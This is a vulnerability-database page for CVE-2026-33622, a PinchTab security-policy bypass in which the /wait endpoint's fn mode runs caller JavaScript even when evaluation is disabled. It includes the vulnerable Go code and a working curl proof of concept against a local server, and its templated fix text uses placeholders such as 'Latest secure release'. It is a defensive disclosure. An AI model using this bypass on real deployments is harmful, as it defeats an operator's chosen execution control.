CVE-2026-33622: Github.com/pinchtab/pinchtab/cmd/pinchtab A PinchTab Security Policy Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-w5pc-m664-r62v
CWE-284 CWE-693 CWE-94
Published
Advisory Summary

CVE-2026-33622 is a MODERATE a pinchtab security policy bypass vulnerability (CWE-284: Improper Access Control) affecting Github.com/pinchtab/pinchtab/cmd/pinchtab libraries in the Go ecosystem. The issue involves a pinchtab security policy bypass in /wait allows arbitrary javascript execution. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33622 at a Glance

CVE Identifier CVE-2026-33622
GHSA Identifier GHSA-w5pc-m664-r62v
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-284: Improper Access Control
Affected Product Github.com/pinchtab/pinchtab/cmd/pinchtab
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-33622

To remediate this vulnerability, upgrade all affected Github.com/pinchtab/pinchtab/cmd/pinchtab dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/pinchtab/pinchtab/cmd/pinchtab fixed: Latest secure release
Upgrade github.com/pinchtab/pinchtab/cmd/pinchtab to Latest secure release
github.com/pinchtab/pinchtab fixed: Latest secure release
Upgrade github.com/pinchtab/pinchtab to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/pinchtab/pinchtab/cmd/pinchtab

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33622, inspect your project dependencies for Github.com/pinchtab/pinchtab/cmd/pinchtab:

inspect dependencies for github.com/pinchtab/pinchtab/cmd/pinchtab

Analyze the terminal output to locate any version of Github.com/pinchtab/pinchtab/cmd/pinchtab in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Github.com/pinchtab/pinchtab/cmd/pinchtab, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled. `POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy. This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation. The current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes. ### Details **Issue 1 — `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):** The dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled: ```go // internal/handlers/evaluate.go — v0.8.5 func (h *Handlers) evaluateEnabled() bool { return h != nil && h.Config != nil && h.Config.AllowEvaluate } func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) { if !h.evaluateEnabled() { httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{ "setting": "security.allowEvaluate", }) return } // ... } ``` In the same releases, `/wait` did not apply that guard before evaluating `fn`: ```go // internal/handlers/wait.go — v0.8.5 (vulnerable) func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) { mode := req.mode() if mode == "" { httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required")) return } // No evaluateEnabled() check here in affected releases // ... } ``` **Issue 2 — `fn` mode evaluated caller-supplied JavaScript directly:** The `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`: ```go // internal/handlers/wait.go — v0.8.5 (vulnerable) case "fn": js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn) matchLabel = "fn" // Poll loop evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result)) ``` Because `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates. **Issue 3 — Current worktree contains an unreleased fix:** The current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available. ### PoC **Prerequisites** - PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5` - A configured API token - `security.allowEvaluate = false` - A reachable tab context, created by the caller or already present **Step 1 — Confirm `/evaluate` is blocked by policy** ```bash curl -s -X POST http://localhost:9867/evaluate \ -H "Authorization: Bearer <TOKEN>" \ -H "Content-Type: application/json" \ -d '{"expression":"1+1"}' ``` Expected: ```json { "code": "evaluate_disabled" } ``` **Step 2 — Open a tab** ```bash curl -s -X POST http://localhost:9867/navigate \ -H "Authorization: Bearer <TOKEN>" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com"}' ``` Example result: ```json { "tabId": "<TAB_ID>", "title": "Example Domain", "url": "https://example.com/" } ``` **Step 3 — Execute JavaScript through `/wait` using `fn` mode** ```bash curl -s -X POST http://localhost:9867/wait \ -H "Authorization: Bearer <TOKEN>" \ -H "Content-Type: application/json" \ -d '{ "tabId":"<TAB_ID>", "fn":"(function(){window._poc_executed=true;return true})()", "timeout":5000 }' ``` Example result: ```json { "waited": true, "elapsed": 1, "match": "fn" } ``` **Step 4 — Verify the side effect** ```bash curl -s -X POST http://localhost:9867/wait \ -H "Authorization: Bearer <TOKEN>" \ -H "Content-Type: application/json" \ -d '{ "tabId":"<TAB_ID>", "fn":"window._poc_executed === true", "timeout":3000 }' ``` Example result: ```json { "waited": true, "elapsed": 0, "match": "fn" } ``` **Observation** 1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off. 2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases. 3. The first `/wait` request introduces a side effect in page state. 4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy. ### Impact 1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`. 2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token. 3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context. 4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable. 5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state. ### Suggested Remediation 1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`. 2. Keep non-code wait modes available when JavaScript evaluation is disabled. 3. Add regression coverage so the policy boundary remains consistent across endpoints.

CVE-2026-33622 Affected Github.com/pinchtab/pinchtab/cmd/pinchtab Versions

2 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/pinchtab/pinchtab/cmd/pinchtab
Go
≥ 0.8.3
≤ 0.8.5
github.com/pinchtab/pinchtab
Go
≥ 0.8.3

References

Frequently Asked Questions

What is CVE-2026-33622?
CVE-2026-33622 is a security vulnerability in Github.com/pinchtab/pinchtab/cmd/pinchtab involving A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution under CWE-284: Improper Access Control.
Which Github.com/pinchtab/pinchtab/cmd/pinchtab versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/pinchtab/pinchtab/cmd/pinchtab, github.com/pinchtab/pinchtab.
What version fixes CVE-2026-33622?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/pinchtab/pinchtab/cmd/pinchtab affected?
Yes, github.com/pinchtab/pinchtab/cmd/pinchtab is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is github.com/pinchtab/pinchtab affected?
Yes, github.com/pinchtab/pinchtab is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-33622?
CVE-2026-33622 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-33622?
Run the dependency tree command: 'inspect dependencies for github.com/pinchtab/pinchtab/cmd/pinchtab'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w5pc-m664-r62v",
  "modified" : "2026-03-27T21:19:00Z",
  "published" : "2026-03-24T19:43:30Z",
  "aliases" : [ "CVE-2026-33622" ],
  "summary" : "A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution",
  "details" : "### Summary\nPinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled.\n\n`POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.\n\nThis is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.\n\nThe current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes.\n\n### Details\n**Issue 1 — `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):**\nThe dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled:\n\n```go\n// internal/handlers/evaluate.go — v0.8.5\nfunc (h *Handlers) evaluateEnabled() bool {\n    return h != nil && h.Config != nil && h.Config.AllowEvaluate\n}\n\nfunc (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {\n    if !h.evaluateEnabled() {\n        httpx.ErrorCode(w, 403, \"evaluate_disabled\", httpx.DisabledEndpointMessage(\"evaluate\", \"security.allowEvaluate\"), false, map[string]any{\n            \"setting\": \"security.allowEvaluate\",\n        })\n        return\n    }\n    // ...\n}\n```\n\nIn the same releases, `/wait` did not apply that guard before evaluating `fn`:\n\n```go\n// internal/handlers/wait.go — v0.8.5 (vulnerable)\nfunc (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {\n    mode := req.mode()\n    if mode == \"\" {\n        httpx.Error(w, 400, fmt.Errorf(\"one of selector, text, url, load, fn, or ms is required\"))\n        return\n    }\n\n    // No evaluateEnabled() check here in affected releases\n    // ...\n}\n```\n\n**Issue 2 — `fn` mode evaluated caller-supplied JavaScript directly:**\nThe `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`:\n\n```go\n// internal/handlers/wait.go — v0.8.5 (vulnerable)\ncase \"fn\":\n    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)\n    matchLabel = \"fn\"\n\n// Poll loop\nevalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))\n```\n\nBecause `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.\n\n**Issue 3 — Current worktree contains an unreleased fix:**\nThe current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5`\n- A configured API token\n- `security.allowEvaluate = false`\n- A reachable tab context, created by the caller or already present\n\n**Step 1 — Confirm `/evaluate` is blocked by policy**\n\n```bash\ncurl -s -X POST http://localhost:9867/evaluate \\\n  -H \"Authorization: Bearer <TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"expression\":\"1+1\"}'\n```\n\nExpected:\n\n```json\n{\n  \"code\": \"evaluate_disabled\"\n}\n```\n\n**Step 2 — Open a tab**\n\n```bash\ncurl -s -X POST http://localhost:9867/navigate \\\n  -H \"Authorization: Bearer <TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"https://example.com\"}'\n```\n\nExample result:\n\n```json\n{\n  \"tabId\": \"<TAB_ID>\",\n  \"title\": \"Example Domain\",\n  \"url\": \"https://example.com/\"\n}\n```\n\n**Step 3 — Execute JavaScript through `/wait` using `fn` mode**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n  -H \"Authorization: Bearer <TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"tabId\":\"<TAB_ID>\",\n    \"fn\":\"(function(){window._poc_executed=true;return true})()\",\n    \"timeout\":5000\n  }'\n```\n\nExample result:\n\n```json\n{\n  \"waited\": true,\n  \"elapsed\": 1,\n  \"match\": \"fn\"\n}\n```\n\n**Step 4 — Verify the side effect**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n  -H \"Authorization: Bearer <TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"tabId\":\"<TAB_ID>\",\n    \"fn\":\"window._poc_executed === true\",\n    \"timeout\":3000\n  }'\n```\n\nExample result:\n\n```json\n{\n  \"waited\": true,\n  \"elapsed\": 0,\n  \"match\": \"fn\"\n}\n```\n\n**Observation**\n1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off.\n2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases.\n3. The first `/wait` request introduces a side effect in page state.\n4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.\n\n### Impact\n1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`.\n2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.\n3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.\n4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable.\n5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.\n\n### Suggested Remediation\n1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`.\n2. Keep non-code wait modes available when JavaScript evaluation is disabled.\n3. Add regression coverage so the policy boundary remains consistent across endpoints.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pinchtab/pinchtab/cmd/pinchtab"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.8.3"
      }, {
        "last_affected" : "0.8.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pinchtab/pinchtab"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.8.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-w5pc-m664-r62v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33622"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pinchtab/pinchtab"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-693", "CWE-94" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-24T19:43:30Z",
    "nvd_published_at" : "2026-03-26T21:17:06Z"
  }
}